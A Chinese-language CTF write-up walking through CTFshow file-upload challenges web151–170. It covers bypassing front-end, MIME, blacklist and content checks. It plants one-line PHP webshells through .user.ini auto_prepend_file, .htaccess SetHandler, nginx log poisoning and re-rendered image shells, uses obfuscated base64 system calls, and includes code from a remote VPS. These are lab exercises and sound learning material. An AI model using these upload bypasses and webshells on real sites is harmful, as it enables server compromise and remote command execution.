CTFSHOW-Web入门-文件上传
web151 前端校验
访问网站,出现如下页面:
右键检查发现,当我们点击 button 提交的时候,会触发下框中的匿名函数,并且从该前端代码可以得知,这里只允许上传PNG后缀的图片。
但是由于文件合法性校验发生在前端页面,故而这里我们可以进行绕过。
方法一:直接右键检查修改源码:
然后上传即可。
方法二:使用Burpsuite进行抓包:
先将PHP木马文件修改为以 .png 结尾的文件,接着使用BP抓取登陆的数据包,将文件名修改即可:
使用中国菜刀或者蚁剑连接即可,为了方便我这里直接使用HackerBar进行传参利用:
web152 前端+后端MIME校验
界面与上一关一致,这里就不再截图。
直接上传一个PHP文件提示:
查看前端源码,发现这里也进行了前端的校验:
直接修改前端源码之后,进行上传发现无法成功。
于是这里使用BP抓取上传的数据库,接着发到重发器进行测试:
先直接上传PHP后缀的文件,页面返回:
通过前端代码发现,这里只要是状态码不等于0的,则都是上传失败的数据包。
经过测试发现,这里进行了MIME检测,通过修改请求头中的 Content-Type
字段,将其修改为 image/png
即可实现任意文件上传。
本关卡进行了 前端校验 + 后端的MIME值校验。
绕过方法:先上传一个后缀名为png的文件,接着使用BP抓取上传的数据包,将文件后缀png修改为PHP,将Content-Type 修改为 image/png 即可。
web153 前端+后端MIME+黑名单
同样存在前端校验,这里我们上传一个png结尾的一句话木马文件,接着使用BP抓包进行测试。
经过测试发现,这里存在 前端校验+后端MIME校验+黑名单,发现可以通过修改请求头中的 content-type
值为 image/png,即可上传非脚本文件。
但是这里直接上传php后缀的文件是不行的,因此存在黑名单。
尝试替换为其他可以解析PHP代码的文件后缀,比如php3
、php4
、php
、phtml
、pht
后缀。虽然都上传成功,但是都无法解析。访问直接下载该文件。因为其服务器使用的是nginx搭建,故而无法解析。
这里可以尝试上传.htaccess
文件,但是由于服务器是使用nginx搭建的,故而.htaccess
上传无效。但是可以上传.user.ini
文件。
.user.ini
文件类似于PHP的php.ini
文件,他们都可以称为是PHP的配置文件。user.ini.
它比 .htaccess
用的更广,不管是 nginx/apache/IIS,只要是以fastcgi
运行的php
都可以用这个方法。
使用.user.ini
的条件:
- 服务器脚本语言为PHP
- 对应目录下面有可执行的php文件,如index.php
- 服务器使用 CGI/FastCGI 模式
这里我们先上传 zzz.png
文件,内容为一句话木马:
接着我们上传 .user.ini
文件到服务器,文件的内容如下:
1 | auto_prepend_file=zzz.png |
在 upload 目录下存在 index.php 文件,我们直接访问该文件利用即可(这里可能需要多刷新几次)。
释义:
在PHP的配置文件(php.ini) 中存在这么两个配置:
1 | ; Automatically add files before PHP document. |
而 .user.ini
文件官方对他的解析:
大概意思就是说,PHP的 CGI/FastCGI 支持每个目录都有一个 PHP 配置文件,该配置文件就是 .user.ini
。
而我们上传的 .user.ini
内容为 auto_prepend_file=zzz.png
其实就是想让 zzz.png 上传之后的 upload 目录下的 index.php 文件包含 zzz.png 一句话木马文件,最终达到利用的效果。
注意:.user.ini
配置文件的内容,只对当前目录有效!
web154 前端+后端MIME+黑名单+内容检查PHP
经过测试,发现这里进行了 前端校验+后端MIME+文件内容检查+黑名单
首先,我们上传文件后缀为 png
;content-type
值为 image/png
的图片,内容为一句话木马,提示如下:
由于后端返回的数据经过了Unicode编码,这里我们使用浏览器的控制台,使用JS中的 alert()
函数进行解码。
发现提示文件内容不合规,应该是对文件内容做了检查,优先猜测是 文件头检测,尝试加上 GIF89a 的文件头,发现问题依旧存在。
接着尝试制作图片马进行上传:
将该图片马上传:
发现依旧上传失败,尝试将最后木马去掉,加上一些其他字符。发现上传成功。
尝试把 <?php
加上,发现上传失败:
发现问题的所在,这里不能带有<?php
字样,这里我们要说一下,如果服务器的PHP开启短标签或asp标签,我们可以不适用<?php
即可解析PHP代码。
这里我们说以下两种方法:
在PHP7以下版本中,可以使用如下方法解析PHP代码:
1 | <script language="php">phpinfo();</script> |
在PHP全版本中使用如下方法也可以解析PHP代码:
1 | phpinfo(); |
通过服务器响应内容发现,这里是PHP7版本的,因此不能使用第一种方法,我们可以使用第二种方法绕过。
这里经过测试,发现可以上传任意后缀的文件,但是无法上传PHP后缀的文件,于是这里我们上一题的方法.user.ini
文件。
先上传后缀为 png 的一句话木马文件:
其次再上传 .user.ini
文件:
访问与.user.ini
同目录下的 index.php 文件,则自动包含图片马文件:
web155 前端+后端MIME+黑名单+内容检查php
经过测试,本道题跟上一关方法一致,都是基于 前端+后端MIME+黑名单+内容检查PHP
先上传 .user.ini
文件,文件内容如下:
1 | auto_prepend_file=x1ong.png |
其次上传 x1ong.png
文件,内容如下:
1 | eval($_REQUEST["cmd"]); @ |
最后利用即可:
其实这里也是支持短标签解析的。
web156 前端+后端MIME+黑名单+内容检查php/[]
本关和上关多过滤了 左右中括号,致使我们不能使用如下方法:
1 | eval($_REQUEST['cmd']); |
但是,我们可以使用 {}
代替 []
,可以达到一样的效果。
这里同样上传 .user.ini
配置文件。
web157-158 反引号执行命令
经过测试,本关比上一关多过滤了 {
、命令执行函数:system
、passthru
、shell_exec
、exec
等,同时过滤了 echo
等关键字。
但是放出了反引号,在PHP中,我们也可以使用反引号达到命令执行的效果,如下:
但是这里由于过滤了 echo
关键字,没有 echo
关键字,以上方法是行不通的。
不过在PHP表达式写法中,可以不使用 echo
关键字,即可使用反引号达到命令执行的效果,如下:
因此,我们这里依旧上传 .user.ini
包含 x1ong.png
文件,内容如下:
1 | var/www/html/flag.*` `tac / |
web159 反引号执行命令
这里同上一样,都是先上传.user.ini
引入 x1ong.png
文件。
x1ong.png
文件内容如下:
1 | var/www/html/flag.*` `cat / |
web160 日志包含
经过测试,这里重点过滤了 左右括号,因此传统的手法是使用不了的,这里尝试 日志文件包含,但是发现过滤了 log
关键字。
但是可以进行拼接绕过,最终的代码如下:
1 | include"/var/lo"."g/nginx/access.l"."og" |
访问 upload 目录下的 index.php 文件,发现成功包含日志:
我们修改UA字段为一句话木马,之后利用即可:
web161 日志包含文件头校验
经过测试,发现比上一关多了文件头的校验。
这里我们可以直接加上GIF图片的文件头 GIF89a
进行上传即可:
当然这里也可以使用图片马的形式进行上传。
接着再上传一个 .user.ini
文件即可:
内容如下:
1 | GIF89a |
接着访问 upload 目录下的 index.php 文件:
成功包含日志。
这里直接将UA字段修改为一句话木马,最后利用即可。
web162-163 session包含
这里由于过滤了 .
拼接符号,以及过滤了;
,无法使用包含日志的形式getshell,故而只能使用包含session文件。
这里可以直接省去包含 PNG 图片,直接包含 SESSION 文件。该路径为 /tmp/sess_x1ong
,这里需要采用竞争的形式进行利用。
但是由于 ctfshow 平台凌晨才会开放竞争条件,于是我们这里先使用非预期的解法:文件包含的形式
SESSION包含参考:https://www.cnblogs.com/sen-y/p/15579078.html#_label10
前置环境搭建:
- 首先在VPS上创建 app.py 文件,内容如下:
1 | from flask import Flask |
- 接着在VPS上启动web服务:
1 | python3 -m flask run --host=0.0.0.0 --port=80 |
解题:
- 上传
.user.ini
文件,内容如下:
1 | GIF89a |
- 上传名为
x1ong
内容如下的文件:
1 | include"http://148572975" |
- 利用即可
web163与web162略微有点区别,web163 在上传
x1ong
文件的时候,会立即删除,这里我们需要进行竞争。暴破一直发送。但是我们不使用这种方法,我们在 web163 使用
auto_prepend_file
直接包含远程文件。
web163:
web164 PNG二次渲染绕过
使用如下脚本生成PNG的图片马:
1 |
|
将以上代码保存为文件 generatePng.php
,接着运行即可得到 1.png
, 该图片则是一个图片马。
接着将该图片上传,点击查看图片,会跳转到如下页面:
根据传参的形容猜测可能是文件包含,尝试直接包含我们的图片马文件进行利用。最终得到FLAG。
web165 JPG二次渲染绕过
这里我们准一张图片:
将该图片上传并下载下来,接着使用如下脚本生成图片马即可。
所需脚本下载地址:https://github.com/BlackFan/jpg_payload/blob/master/jpg_payload.php
运行该脚本:
1 | php jpg_payload.php download.jpg |
最后将生成的 payload_download.jpeg
图片修改为 payload_download.jpg
上传即可。
web166 压缩包包含利用
这里需要上传zip文件格式的压缩包。但是我这里使用电脑压缩的zip压缩包上传一直提示,文件类型不合规。
后来在网上看了其他师傅WP才知道,这里使用 winRar
软件打包的压缩包,是可以直接上传的。
如果使用其他压缩软件,在上传的时候,需要将原有文件的 MIME 值 application/zip
修改为 application/x-zip-compressed
。
这里随便压缩一个文件,将其上传:
当我们上传成功之后,这里提示下载该文件:
点击之后跳转到如下页面:
通过URL发现,猜测这里可能是文件包含,我们这里可以使用如下两种方法:
- 准备一个一句话木马文件进行压缩,然后将压缩包上传。
- 也可以直接通过BP修改Content-Type值以及文件名后缀上传即可。
这里我使用第二种方法,上传完成之后,直接可以下载文件:
通过BP抓包下载文件时发送的请求,由于这里是使用文件包含的形式,因此可以直接利用该ZIP木马。
web167 .htaccess 文件的利用
题目提示是 httpd
, 这让人联想到了 .htaccess
文件。
经过测试发现,这里可以通过修改 content-type
值为图片类型,可以上传任意 非php后缀的文件。
但是不能上传php后缀的文件:
可以上传 .phtml
后缀的文件,但是服务器不解析。
由于题目提示是 httpd
尝试上传 .htaccess
文件。
文件内容如下:
1 | <FilesMatch "x1ong.jpg"> |
接着上传名为 x1ong.jpg
的文件,内容为一句话木马,访问即可利用:
以下是 apache httpd 官方文档对 .htaccess
文件的解释:
而 FileMatch
则表示匹配,对 x1ong.jpg
使用规则 SetHandler application/x-httpd-php
表示将该图片交给PHP去执行。
由于 x1ong.jpg
的内容为一句话木马,因此我们可以直接利用。
通过服务器响应值发现题目中间件使用的是 nginx,正常来说,nginx是没有.htaccess文件的,自然也不会生效,本道题可能Server信息有误或者手动构建了可利用的环境。
web168 基础免杀
通过测试发现这里可以通过 前端校验+MIME绕过 即可上传 php 后缀的文件,并且该php可以自己解析。
但是我们上传一句话木马的时候,页面返回 null
。
猜测这里需要做免杀。这里发现服务器使用的是PHP7.3的版本,
可以使用如下方法执行命令:
1 | ('system')('ls'); |
但是这里不能使用 system
关键字,可以使用 base64_decode
函数,因此构造如下 PAYLOAD:
1 |
|
FLAG 不在这里。经过查看发现 FLAG 在网站根目录下名为 flagaa.php
文件。
web169-170 高级免杀
经过测试发现这里是 前端要求上传zip 后端要求上传JPG, 我们这里绕过一下即可:
当我们上传内容为 <
的时候,这里提示 null
,没有上传成功。但是当我们上传内容为 123
的时候,发现可以成功上传,并且可以访问:
由于过滤了 <
,那么就没有办法执行PHP代码了,只能尝试通过上传 .user.ini
文件包含日志或者使用伪协议。
1. 使用伪协议无法上传,大小写无法绕过php关键字。
2. 包含日志成功上传:
包含日志上传成功了, 我们访问 upload 目录,发现 upload 目录下并没有 index.php
或者 其他PHP文件,导致 .user.ini
无法包含。
那么这里我们可以上传一个名为 index.php
或者其他文件名的文件。
接着访问 x1ong.php
文件,即可自动包含 /var/log/nginx/access.log
文件。
修改UA字段为一句话木马:
最后利用即可: